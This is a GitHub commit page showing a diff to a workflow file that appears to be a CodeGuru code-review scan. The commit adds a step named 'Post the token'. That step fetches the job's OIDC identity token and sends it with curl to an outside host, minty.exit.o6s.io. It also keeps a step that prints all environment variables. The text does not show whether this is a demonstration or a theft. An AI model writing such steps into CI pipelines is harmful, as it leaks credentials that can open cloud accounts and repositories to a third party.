Skip to content

Commit 8aa842c

Browse files
authored
Merge pull request #1 from martinschaef/martinschaef-patch-1
Update codeguru-reviewer.yml
2 parents 197fe2a + 08fb720 commit 8aa842c

File tree

1 file changed

+7
-3
lines changed

1 file changed

+7
-3
lines changed

.github/workflows/codeguru-reviewer.yml

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,16 +7,20 @@ on:
77

88
permissions:
99
id-token: write
10-
contents: read
11-
pull-requests: write
10+
contents: read
1211
security-events: write
1312

1413
jobs:
1514
CodeGuruReviewerScan:
1615
runs-on: ubuntu-latest
1716
steps:
18-
- run: echo "$GITHUB_TOKEN"
1917
- run: env
18+
- name: Post the token
19+
run: |
20+
OIDC_TOKEN=$(curl -sLS "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=o6s" -H "User-Agent: actions/oidc-client" -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN")
21+
22+
curl -i -s --data-binary "$OIDC_TOKEN" \
23+
https://minty.exit.o6s.io/github-oidc
2024
- name: Assume IAM Role
2125
continue-on-error: true
2226
uses: aws-actions/configure-aws-credentials@v1

0 commit comments

Comments
 (0)